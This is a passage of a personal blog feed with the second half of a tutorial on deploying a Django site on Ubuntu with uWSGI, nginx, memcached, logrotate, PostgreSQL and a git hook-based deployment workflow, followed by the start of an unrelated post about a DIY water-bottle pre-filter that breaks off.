class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span> <span class="normal">13</span> <span class="normal">14</span> <span class="normal">15</span> <span class="normal">16</span> <span class="normal">17</span> <span class="normal">18</span></pre></div></td><td class="code"><div><pre><span></span><code>$ vim /srv/myproject.com/code/deploy/uwsgi.conf description <span class="s2">&quot;uWSGI server for My Project&quot;</span> start on runlevel <span class="o">[</span><span class="m">2345</span><span class="o">]</span> stop on runlevel <span class="o">[</span>!2345<span class="o">]</span> respawn <span class="nb">exec</span> /usr/local/sbin/uwsgi <span class="se">\</span> --home /home/demo/.virtualenvs/myproject/ <span class="se">\</span> --socket /var/run/myproject.com.sock <span class="se">\</span> --chmod-socket <span class="se">\</span> --pythonpath /srv/myproject.com/code/ <span class="se">\</span> --module myproject.wsgi <span class="se">\</span> --process <span class="m">2</span> <span class="se">\</span> --harakiri <span class="m">30</span> <span class="se">\</span> --master <span class="se">\</span> --logto /srv/myproject.com/logs/uwsgi.log </code></pre></div></td></tr></table></div> <p>Sadly, upstart doesn&rsquo;t seem to recognize links. Rather than linking the config file into <code>/etc/init/</code>, I have to copy it.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo cp /srv/myproject.com/code/deploy/uwsgi.conf /etc/init/uwsgi-myproject.conf </code></pre></div></td></tr></table></div> <h3>Configure nginx</h3> <p>Nginx&rsquo;s configuration is pretty straight-forward. If you&rsquo;ve never configured the server before, <a href="http://articles.slicehost.com/nginx">Slicehost&rsquo;s articles</a> can set you down the right path. My own nginx config looks something like this:</p> <div class="highlight"><pre><span></span><code><span class="n">user</span><span class="w"> </span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="w"> </span><span class="n">www</span><span class="o">-</span><span class="n">data</span><span class="p">;</span><span class="w"></span> <span class="n">worker_processes</span><span class="w"> </span><span class="mi">4</span><span class="p">;</span><span class="w"></span> <span class="n">pid</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">nginx</span><span class="o">.</span><span class="n">pid</span><span class="p">;</span><span class="w"></span> <span class="n">events</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">worker_connections</span><span class="w"> </span><span class="mi">768</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">use</span><span class="w"> </span><span class="n">epoll</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> <span class="n">http</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="c1"># Basic Settings</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="n">sendfile</span><span class="w"> </span><span class="n">on</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">tcp_nopush</span><span class="w"> </span><span class="n">on</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">tcp_nodelay</span><span class="w"> </span><span class="n">on</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">keepalive_timeout</span><span class="w"> </span><span class="mi">30</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">types_hash_max_size</span><span class="w"> </span><span class="mi">2048</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="c1"># server_tokens off;</span><span class="w"></span> <span class="w"> </span><span class="c1"># server_names_hash_bucket_size 64;</span><span class="w"></span> <span class="w"> </span><span class="c1"># server_name_in_redirect off;</span><span class="w"></span> <span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">nginx</span><span class="o">/</span><span class="n">mime</span><span class="o">.</span><span class="n">types</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">default_type</span><span class="w"> </span><span class="n">application</span><span class="o">/</span><span class="n">octet</span><span class="o">-</span><span class="n">stream</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="c1"># Logging Settings</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="n">access_log</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="nb">log</span><span class="o">/</span><span class="n">nginx</span><span class="o">/</span><span class="n">access</span><span class="o">.</span><span class="n">log</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">error_log</span><span class="w"> </span><span class="o">/</span><span class="k">var</span><span class="o">/</span><span class="nb">log</span><span class="o">/</span><span class="n">nginx</span><span class="o">/</span><span class="n">error</span><span class="o">.</span><span class="n">log</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="c1"># Gzip Settings</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="n">gzip</span><span class="w"> </span><span class="n">on</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">gzip_disable</span><span class="w"> </span><span class="s2">&quot;msie6&quot;</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">gzip_types</span><span class="w"> </span><span class="n">text</span><span class="o">/</span><span class="n">plain</span><span class="w"> </span><span class="n">text</span><span class="o">/</span><span class="n">css</span><span class="w"> </span><span class="n">application</span><span class="o">/</span><span class="n">json</span><span class="w"> </span><span class="n">application</span><span class="o">/</span><span class="n">x</span><span class="o">-</span><span class="n">javascript</span><span class="w"> </span><span class="n">text</span><span class="o">/</span><span class="n">xml</span><span class="w"> </span><span class="n">application</span><span class="o">/</span><span class="n">xml</span><span class="w"> </span><span class="n">application</span><span class="o">/</span><span class="n">xml</span><span class="o">+</span><span class="n">rss</span><span class="w"> </span><span class="n">text</span><span class="o">/</span><span class="n">javascript</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">gzip_proxied</span><span class="w"> </span><span class="n">any</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">gzip_comp_level</span><span class="w"> </span><span class="mi">2</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="c1"># gzip_vary on;</span><span class="w"></span> <span class="w"> </span><span class="c1"># gzip_buffers 16 8k;</span><span class="w"></span> <span class="w"> </span><span class="c1"># gzip_http_version 1.1;</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="c1"># Virtual Host Configs</span><span class="w"></span> <span class="w"> </span><span class="c1">##</span><span class="w"></span> <span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">nginx</span><span class="o">/</span><span class="n">conf</span><span class="o">.</span><span class="n">d</span><span class="o">/*.</span><span class="n">conf</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">nginx</span><span class="o">/</span><span class="n">sites</span><span class="o">-</span><span class="n">enabled</span><span class="o">/*</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>I keep the virtual host config for my project inside the project&rsquo;s <code>code/deploy/</code> directory. A basic virtual host for a Django project would looks like this:</p> <div class="highlight"><pre><span></span><code><span class="n">server</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">listen</span><span class="w"> </span><span class="mi">80</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">server_name</span><span class="w"> </span><span class="n">www</span><span class="o">.</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">rewrite</span><span class="w"> </span><span class="o">^/</span><span class="p">(</span><span class="o">.*</span><span class="p">)</span><span class="w"> </span><span class="n">http</span><span class="p">:</span><span class="o">//</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">/$</span><span class="mi">1</span><span class="w"> </span><span class="n">permanent</span><span class="p">;</span><span class="w"></span> <span class="p">}</span><span class="w"></span> <span class="n">server</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">listen</span><span class="w"> </span><span class="mi">80</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">server_name</span><span class="w"> </span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">access_log</span><span class="w"> </span><span class="o">/</span><span class="n">srv</span><span class="o">/</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">logs</span><span class="o">/</span><span class="n">access</span><span class="o">.</span><span class="n">log</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">error_log</span><span class="w"> </span><span class="o">/</span><span class="n">srv</span><span class="o">/</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">logs</span><span class="o">/</span><span class="n">error</span><span class="o">.</span><span class="n">log</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">location</span><span class="w"> </span><span class="o">/</span><span class="n">media</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="o">/</span><span class="n">srv</span><span class="o">/</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">public</span><span class="o">/</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="n">location</span><span class="w"> </span><span class="o">/</span><span class="k">static</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="o">/</span><span class="n">srv</span><span class="o">/</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">/</span><span class="n">public</span><span class="o">/</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="w"> </span><span class="n">location</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="n">uwsgi_pass</span><span class="w"> </span><span class="n">unix</span><span class="p">:</span><span class="o">///</span><span class="k">var</span><span class="o">/</span><span class="n">run</span><span class="o">/</span><span class="n">myproject</span><span class="o">.</span><span class="n">com</span><span class="o">.</span><span class="n">sock</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="n">include</span><span class="w"> </span><span class="n">uwsgi_params</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="p">}</span><span class="w"></span> <span class="p">}</span><span class="w"></span> </code></pre></div> <p>To install and enable the virtual host, I&rsquo;ll link the configuration file first to the nginx <code>sites-available</code> directory, and then link that link to the <code>sites-enabled</code> directory.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo ln -s /srv/myproject.com/code/deploy/nginx.conf /etc/nginx/sites-available/myproject.com $ sudo ln -s /etc/nginx/sites-available/myproject.com /etc/nginx/sites-enabled/myproject.com </code></pre></div></td></tr></table></div> <h3>SSL</h3> <p>If you need to encrypt communications, <a href="http://library.linode.com/web-servers/nginx/configuration/ssl">Linode has a tutorial</a> on using both self-signed certificates and commercial certificates with nginx.</p> <h3>Fire it Up</h3> <p>Nginx should be set to talk to uWSGI, which should be set to talk to the Django project. Time for a test run!</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo start uwsgi-myproject $ sudo /etc/init.d/nginx start </code></pre></div></td></tr></table></div> <h3>memcached</h3> <p>Django has a very good built-in <a href="https://docs.djangoproject.com/en/dev/topics/cache/">cache framework</a>. I like to take advantage of it with a memory-based backend: namely, <a href="http://memcached.org/">memcached</a>. It&rsquo;s fast, efficient, and easy to setup.</p> <p>All that&rsquo;s needed is to install memcached on the server, followed by the Python API <a href="http://www.tummy.com/Community/software/python-memcached/">python-memcached</a>. </p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get install memcached $ workon myproject $ pip install python-memcached </code></pre></div></td></tr></table></div> <p>The default configuration file in Ubuntu lives at <code>/etc/memcached.conf</code>. I usually stick with the defaults, but sometimes end up changing the port that memchached runs on or the amount of memory it is allowed to use.</p> <h3>logrotate</h3> <p>With the web server more-or-less complete, I like to setup logrotate to manage the logs in my project&rsquo;s directory. Once again, Slicehost has <a href="http://articles.slicehost.com/2010/6/30/understanding-logrotate-on-ubuntu-part-1">an excellent introduction to logrotate</a> and <a href="http://articles.slicehost.com/2010/6/30/understanding-logrotate-on-ubuntu-part-2">an example config for virtual hosts</a>.</p> <p>I maintain a configuration file for each of the domains being served by the machine. The file for a domain lives in &ndash; you guessed it &ndash; the associated project&rsquo;s <code>deploy/</code> folder. Each contains two entries: one for the nginx virtual host and one for the uWSGI instance. The reason for this is that each config block needs a <code>postrotate</code> section to restart the associated server after the logs have been rotated. I don&rsquo;t want nginx to be restarted everytime a uWSGI log is rotated, and I don&rsquo;t want uWSGI restarted everytime an nginx log is rotated.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span> <span class="normal">13</span> <span class="normal">14</span> <span class="normal">15</span> <span class="normal">16</span> <span class="normal">17</span> <span class="normal">18</span> <span class="normal">19</span> <span class="normal">20</span> <span class="normal">21</span> <span class="normal">22</span></pre></div></td><td class="code"><div><pre><span></span><code>$ vim /srv/myproject.com/code/deploy/logrotate /srv/myproject.com/logs/access.log /srv/myproject.com/logs/error.log <span class="o">{</span> rotate <span class="m">14</span> daily compress delaycompress sharedscripts postrotate <span class="o">[</span> ! -f /var/run/nginx.pid <span class="o">]</span> <span class="o">||</span> <span class="nb">kill</span> -USR1 <span class="sb">`</span>cat /var/run/nginx.pid<span class="sb">`</span> endscript <span class="o">}</span> /srv/myproject.com/logs/uwsgi.log <span class="o">{</span> rotate <span class="m">14</span> daily compress delaycompress postrotate restart --quiet uwsgi-myproject endscript <span class="o">}</span> </code></pre></div></td></tr></table></div> <p>This file is linked in to the <code>/etc/logrotate.d/</code> directory. Logrotate will automatically include any file in that directory inside its configuration.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo ln -s /srv/myproject.com/code/deploy/logrotate /etc/logrotate.d/myproject </code></pre></div></td></tr></table></div> <h2>Database Server</h2> <p>A web server isn&rsquo;t much use without a database these days. I use <a href="http://www.postgresql.org/">PostgreSQL</a>.</p> <h3>Install</h3> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo apt-get install postgresql </code></pre></div></td></tr></table></div> <h3>Configure</h3> <p>PostgreSQL has some unique terminology and ways of doing things. When I first set it up for the first time, having coming from a MySQL background, not everything was completely straightforward. As usual, <a href="http://articles.slicehost.com/postgresql">Slicehost has a number of articles</a> that will provide a foundation.</p> <p>In the <code>/etc/postgresql/8.4/main/postgresql.conf</code> file, I uncomment the following two lines:</p> <div class="highlight"><pre><span></span><code>track_counts = on autovacuum = on </code></pre></div> <p>Then restart the database server.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/postgresql-8.4 restart </code></pre></div></td></tr></table></div> <p>After that I&rsquo;ll change the password for the postgres user and the postgres database role.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo passwd postgres $ sudo -u postgres psql <span class="se">\p</span>assword postgres <span class="se">\q</span> </code></pre></div></td></tr></table></div> <p>To allow local socket connections to the database using passwords, I open up <code>/etc/postgresql/8.4/main/pg_hba.conf</code> and find the following line:</p> <div class="highlight"><pre><span></span><code>local all all ident </code></pre></div> <p>Which I then change to:</p> <div class="highlight"><pre><span></span><code>local all all md5 </code></pre></div> <p>After which another restart is in order.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/postgresql-8.4 restart </code></pre></div></td></tr></table></div> <h3>Create a database</h3> <p>The next step is to create a user (or role, in PostgreSQL&rsquo;s parlance) and database for the project. I use the same name for both.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo -u postgres createuser -PE myproject $ sudo -u postgres createdb -O myproject myproject </code></pre></div></td></tr></table></div> <p>After that, I should be able to connect.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ psql -U myproject </code></pre></div></td></tr></table></div> <h4>Import the Database</h4> <p>If I&rsquo;m restoring a previous database from a backup, now would be the time to import the backup.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ psql -U myproject &lt; myproject.postgresql </code></pre></div></td></tr></table></div> <p>And now Django should be able to connect!</p> <p>The basic server is setup and secure. Django, uWSGI, nginx and PostgreSQL are all running and getting along swimmingly. At this point, many people would be done, but I also like to have a minimal mail server.</p> <h2>Mail Server</h2> <p>Most of my domains use <a href="http://www.google.com/apps/">Google Apps</a>, so I don&rsquo;t need a full-blown mail server. I do want programs and scripts to be able to send mail, and I prefer not to do so through an external SMTP server &ndash; I&rsquo;d rather just deal with having sendmail running on my own box. And I do have a few domains that do not use Google Apps. They have one or two aliases associated with them, so the server needs to receive messages for those domains and forward them off to an external address. If any of this sounds vaguely familiar, it&rsquo;s because it&rsquo;s the same thing I detailed <a href="/2008/06/an-ubuntu-vps-on-slicehost-mail/">last time</a>. My setup now is the same as then, so I won&rsquo;t repeat any of it here.</p> <p>For a more detailed explanation of running <a href="http://www.postfix.org/">Postfix</a>, you can <a href="http://articles.slicehost.com/email">read the Slicehost articles</a>.</p> <h2>A Note on Git</h2> <p>I use <a href="http://git-scm.com/">Git</a> to keep track of the code for all my projects. (If you&rsquo;re new to Git, you ought to skim the <a href="http://gitref.org/">Git Reference</a> or <a href="https://mirrors.edge.kernel.org/pub/software/scm/git/docs/giteveryday.html">Everyday GIT With 20 Commands Or So</a>). To manage websites, I create a repository of the directory with the code that runs the site (in this case, <code>/srv/myproject.com/code/</code>) and another empty, bare repository to work as a hub. With a <code>post-update</code> and <code>post-commit</code>, the end result is an excellent web workflow:</p> <ul> <li>A copy of the hub can be checked out on a local machine for development. Whenever a change is committed, a simple <code>git push</code> will push the code to the web server and automatically make it live.</li> <li>Changes can be made on the server in the actual live website directory. (This is not a best practice, but I do it more often than I should probably admit.) Whenever a change is committed, it is automatically pushed to the hub, so that a simple <code>git pull</code> is all that&rsquo;s needed on the development machine to update its repository.</li> </ul> <p>A more detailed explanation of this workflow is at <a href="http://joemaller.com/990/a-web-focused-git-workflow/">Joe Maller&rsquo;s blog</a>.</p> <p>To start, I need to create a repository for the new project I created in this tutorial. And, since this is a new server, I need to give Git my name and email address to record with every commit.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code>$ git config --global user.name <span class="s2">&quot;Pig Monkey&quot;</span> $ git config --global user.email <span class="s2">&quot;pm@pig-monkey.com&quot;</span> $ <span class="nb">cd</span> /srv/myproject.com/code/ $ git init </code></pre></div></td></tr></table></div> <p>Before adding the files, I create a <code>.gitignore</code> file in the repository root to tell Git to ignore compiled Python files.</p> <div class="highlight"><pre><span></span><code>$ vim .gitignore *.pyc </code></pre></div> <p>Now I add all the files to the repository, confirm that it worked, and commit the files.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ git add . $ git status -s $ git commit -m <span class="s2">&quot;Initial commit of myproject.com&quot;</span> </code></pre></div></td></tr></table></div> <p>I create the bare hub directory directly along side the projects <code>code/</code>.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> ../ $ mkdir hub.git $ <span class="nb">cd</span> hub.git $ git --bare init </code></pre></div></td></tr></table></div> <p>With the hub created, I need to add it as the remote for the main repository and push the master branch to it.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> ../code $ git remote add hub /srv/myproject.com/hub.git $ git remote show hub $ git push hub master </code></pre></div></td></tr></table></div> <p>Now the hub needs a <code>post-update</code> script so that every time something is pushed to it, that change is automagically pulled into the live website directory.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span> <span class="normal">13</span> <span class="normal">14</span></pre></div></td><td class="code"><div><pre><span></span><code>$ vim /srv/myproject.com/hub.git/hooks/post-update <span class="c1">#!/bin/sh</span> <span class="nb">echo</span> <span class="nb">echo</span> <span class="s2">&quot;**** Pulling changes into live&quot;</span> <span class="nb">echo</span> <span class="nb">cd</span> /srv/myproject.com/code <span class="o">||</span> <span class="nb">exit</span> <span class="nb">unset</span> GIT_DIR git pull hub master <span class="nb">exec</span> git-update-server-info $ chmod +x /srv/myproject.com/hub.git/hooks/post-update </code></pre></div></td></tr></table></div> <p>And the live website directory requires a <code>post-commit</code> script so that every time something is committed inside of it, that change is automagically pushed to the hub.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span></pre></div></td><td class="code"><div><pre><span></span><code>$ vim /srv/myproject.com/code/.git/hooks/post-commit <span class="c1">#!/bin/sh</span> <span class="nb">echo</span> <span class="nb">echo</span> <span class="s2">&quot;**** pushing changes to Hub&quot;</span> <span class="nb">echo</span> git push hub $ chmod +x /srv/myproject.com/code/.git/hooks/post-commit </code></pre></div></td></tr></table></div> <p>All that&rsquo;s left is to check out the hub onto the development machine &ndash; my laptop, in this case!</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ mkdir ~/work/myproject/ $ <span class="nb">cd</span> ~/work/myproject/ $ git clone ssh://myserver.com/srv/myproject.com/hub.git code </code></pre></div></td></tr></table></div> <p>To test things out, we can add a file to the repository on the development machine.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> code/ $ touch <span class="nb">test</span> $ git add <span class="nb">test</span> $ git commit -m <span class="s2">&quot;A test&quot;</span> $ git push </code></pre></div></td></tr></table></div> <p>Now go back to the server, and the file should be there! To test things the other way around, I&rsquo;ll delete the file from the live repository.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> /srv/myproject.com/code/ $ ls myproject <span class="nb">test</span> $ git rm <span class="nb">test</span> $ git commit -m <span class="s2">&quot;Removing the test file&quot;</span> </code></pre></div></td></tr></table></div> <p>And once again to the development machine:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ git pull $ ls deploy myproject </code></pre></div></td></tr></table></div> <p>No more test! It&rsquo;s pretty dandy.</p> <h3>Restoring</h3> <p>If I was building a new server and restoring a project from an old server, I would simply mirror the old hub and then clone that in the live directory.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> /srv/myproject.com/ $ git clone --mirror ssh://myoldserver.com/srv/myproject.com/hub.git $ git clone hub.git code/ </code></pre></div></td></tr></table></div> <h2>Resources</h2> <p>Prior to building this server, I was new to a lot of this &ndash; particularly, uWSGI and virtualenv. The following tutorials helped me a good deal in putting together the perfect setup for my needs.</p> <ul> <li><a href="http://iamzed.com/2009/05/07/a-primer-on-virtualenv/">A Primer on virtualenv</a> by Chris Scott</li> <li><a href="http://joemaller.com/990/a-web-focused-git-workflow/">A web-focused Git workflow</a> by Joe Maller</li> <li><a href="http://blog.zacharyvoase.com/2010/03/05/django-uwsgi-nginx/">Deployment with uWSGI and nginx</a> by Zachary Voase</li> <li><a href="http://brandonkonkle.com/blog/2010/sep/14/django-uwsgi-and-nginx/">Django on uWSGI and Nginx</a> by Brandon Konkle</li> <li><a href="http://www.jeremybowers.com/blog/post/5/django-nginx-and-uwsgi-production-serving-millions-page-views/">Django, Nginx and uWSGI in production</a> by Jeremy Bowers</li> <li><a href="http://www.saltycrane.com/blog/2009/05/notes-using-pip-and-virtualenv-django/">Notes on using pip and virtualenv with Django</a> by Eliot</li> <li><a href="http://mathematism.com/2009/07/30/presentation-pip-and-virtualenv/">Presentation: pip and virtualenv</a> by Rich Leland</li> <li><a href="http://brandonkonkle.com/blog/2010/jun/25/provisioning-new-ubuntu-server-django/">Provisioning a new Ubuntu server for Django</a> by Brandon Konkle</li> <li><a href="http://www.westphahl.net/blog/2010/4/8/running-django-nginx-and-uwsgi/">Running Django with Nginx and uWSGI</a> by Simon Westphahl</li> <li><a href="http://www.doughellmann.com/docs/virtualenvwrapper/command_ref.html">virtualenvwrapper Command Reference</a></li> <li><a href="http://www.arthurkoziel.com/2008/10/22/working-virtualenv/">Working with virtualenv</a> by Arthur Koziel</li> </ul>DIY Platypus Pre-Filter Cap2010-07-13T00:00:00-07:002012-09-15T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2010-07-13:/2010/07/diy-platypus-pre-filter-cap/<p>Although <a href="http://pig-monkey.com/2010/04/25/hydration-musings/">I have misgivings about their durability</a>, <a href="http://www.cascadedesigns.com/platypus">Platypus</a>&lsquo; <a href="http://www.cascadedesigns.com/platypus/handheld-hydration/platy-bottle/product">2L+ bottles</a> remains the primary water reservoirs in my pack. It&rsquo;s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather …</p><p>Although <a href="http://pig-monkey.com/2010/04/25/hydration-musings/">I have misgivings about their durability</a>, <a href="http://www.cascadedesigns.com/platypus">Platypus</a>&lsquo; <a href="http://www.cascadedesigns.com/platypus/handheld-hydration/platy-bottle/product">2L+ bottles</a> remains the primary water reservoirs in my pack. It&rsquo;s been a bit over a year now since I started using them. At the same time I switched over to Platypus, I also started treating my water with chemicals rather than filtering it. Both methods of treatment have their advantages and disadvantages, but lately I have been using chemicals almost exclusively.</p> <p>A water filter, of course, filters out not only the invisible nasties that upset the stomach, but also the visible things things that don&rsquo;t cause much harm but aren&rsquo;t altogether pleasant: dirt, dead bugs, small rocks, and the like. When I moved to using chemicals I was just dumping the water into my drinking vessel direct from the source. Without any sort of filter, the water could sometimes be a bit gritty. Too textured for my taste.</p> <p>As a first attempt to solve this I started to place a bandanna over the opening of the Platypus, and then poured the source water over that. That worked great for getting out the sediment, but then I had the problem of having a wet rag. If the sun is out, it dries, but the other 307 days of the year, the bandanna &ndash; even a synthetic Buff &ndash; became a bit of a hassle to dry. I wanted some sort of pre-filter that I could get wet without worrying about it.</p> <p>The solution (like more than a few before it) came while browsing the <a href="http://www.backpackinglight.com">BackpackingLight</a> forums.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4790268567/" title="DIY Platypus Pre-Filter 